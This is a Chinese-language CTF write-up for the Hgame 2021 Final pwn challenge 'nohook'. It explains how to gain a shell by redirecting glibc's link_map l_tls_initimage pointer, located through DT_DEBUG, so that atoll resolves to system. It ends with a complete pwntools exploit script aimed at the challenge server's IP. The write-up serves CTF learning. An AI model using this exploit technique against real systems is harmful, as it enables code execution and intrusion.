HgameFINAL-nohook-WP

Posted on Mar 13, 2021

Final 就做出这一道,第二道 webpwn 确实不太会,花了很长时间才搞出环境,最后无时间了。语神和我说出这个题也没想让我们做出来,感到一丝恶意和一丝释然。Hgame 到这里也正式结束了,总结就不写了。

这道题其实还是比较简单的,但是做了五个半小时,拿了两个 hint 才做出来,主要原因是从未接触过多线程开发,对 glibc 实现多线程的原理了解的非常浅,有许多需要的知识和 trick 不知道。

程序的主要功能是任意地址读写,常规来说这应该属于最简单的题目之一了,实则不然

首先是保护

只有 PIE 没有开,意味着无法通过劫持 got 表 getshell,但是一般来说这个不是问题,我们完全可以通过劫持 __malloc_hook __free_hook 来 getshell,而这就是本题的特点,正如题名

这俩货都会在进程结束时被置零。

即便是这样也还有办法,不是可以无限次任意地址读写嘛,那么完全可以 FSOP,但是事实上是不行的

进程退出不老老实实用 exit,非得要 syscall,又没有可控的堆操作,无法执行 _IO_flush_all_lockp 函数,当然 main 函数结束后也会调用这个函数,但是这里

有个 while(1).. main 函数不会返回。那么我已知的利用方法都没法玩了。

本题的另一个特殊之处在于核心流程是由 pthread_create 创建新进程调用的,而且 start_routine 里面又大量使用了 fs 这个段寄存器,联想的之前做过的 starctf2018_babystack(当时做完这题后本来准备简单研究一下 TLS 的机制,然后发现看不懂就暂时放下了),考虑转向思路至 TLS 上。但是 TLS 我可以说没什么科学的了解,所以思考的时候也没什么底气。只能先调试看看程序是怎么获得要执行的函数的地址的

这里学到一个新指令 fsbase,由于 fs 寄存器是用户态无法访问的,所以需要用这个指令来获得 fs 的值,然后根据代码中寻址的方法,得知 fs - 0x18 开始的 3 个四字分别是 write read atoll 的地址,这也照应了调试图。那么自然的想法是直接修改 atoll,劫持为 system getshell,自然地我也这么去做了,发现没用,有些许奇怪。

遂开始搜集信息,然后发现有 __thread 这个关键字来修饰那些带有全局性且值可能变,但是又不值得用全局变量保护的变量。啥意思呢,大概就是如果一个全局变量用 __thread 修饰了,那么在每个线程对这个变量访问时,访问的都是其副本,修改时只会修改副本的值,而不会对原值(image)发生修改,而且访问速度也可以与全局变量相当。看起来很牛,猜测本题中三个函数的地址也是用了这个关键字修饰的。那么之前的尝试无果也可以理解了。

既然是全局变量的副本,那么我们只要修改了这个全局变量不就成了?然后开始找,死找找不到。不久就获得了第一个 hint,就是这个网址,指向的是 _dl_allocate_tls_init 这个函数,那就看看这个函数干啥的呗,了解到拷贝原值的过程就是这个函数做的,也就是这段代码

	  memset (__mempcpy (dest, map->l_tls_initimage,
			     map->l_tls_initimage_size), '\0',
		  map->l_tls_blocksize - map->l_tls_initimage_size);

调试一下看看,断在

此处,再一看此时 map 结构体的尾部

得知两点,首先是全局变量的位置

看起来这里是可写的,但是实际上是不可以的,这个通过 gdb 的 vmmap 就可以看出。

其次是由于拷贝的起始地址和拷贝长度就是由这个 map 控制的,如果我们劫持 map 结构体的 l_tls_initimage 指针,指向一个布置了 system 地址的内存空间,那么之后调用 atoll 的时候实际上就是在调用 system,就可以 getshell。

现在的问题就只在如何获得 map 的地址了,试了一些方法,但是由于不会获得 ld 的基地址都失败了,好像带多个库的程序通过 got 表来计算各种基地址是不行的。然后就拿到了第二个 hint

可以关注下 DT_DEBUG 0x403E70

于是得知 DT_DEBUG ,在本程序中在 0x403E70,运行时会指向 struct r_debug,而struct r_debug 的第二个元素就会指向第一个 link_map,而本题的第一个 link_mapl_tls_initimage 指针就是指向 0x403D70,我们通过多次任意地址读,就可以读出第一个 link_map 的地址,与这个地址偏移 0x428 处就是 l_tls_initimage 指针了,再通过任意地址写就可以将它指向我们布置好的内存了。

这个“布置好的内存”可以布置在 0x404000 这个页中,依次写 write read system 就可以了,比较简单,这里就不多说了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#sh = process("./nohook")
sh = remote("159.75.104.107",30822)
elf = ELF("./nohook")
#libc = ELF("./lib/libc.so.6")

def write_in(addr,value):
    sh.sendlineafter("mode?\n",str(1))
    sh.sendlineafter("where?\n",str(addr))
    sh.sendlineafter("what?\n",str(value))

def read_from(addr):
    sh.sendlineafter("mode?\n",str(2))
    sh.sendlineafter("where?\n",str(addr))

read_from(elf.got["write"])
write_addr = u64(sh.recv(6).ljust(8,'\x00'))
read_addr = write_addr + 0xA0
system_addr = write_addr - 0x1B0E70


DT_DEBUG = 0x403E68 + 8
read_from(DT_DEBUG)
_r_debug_addr = u64(sh.recv(6).ljust(8,'\x00'))

read_from(_r_debug_addr + 8)
first_linkmap_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("libc_base:" + hex(first_linkmap_addr))

fake_destination = 0x404A00
write_in(fake_destination,write_addr)
write_in(fake_destination + 0x8,read_addr)
write_in(fake_destination + 0x10,system_addr)

tls_initimage_addr = first_linkmap_addr + 0x428
write_in(tls_initimage_addr,fake_destination)

sh.sendlineafter("mode?\n","/bin/sh\x00")

sh.interactive()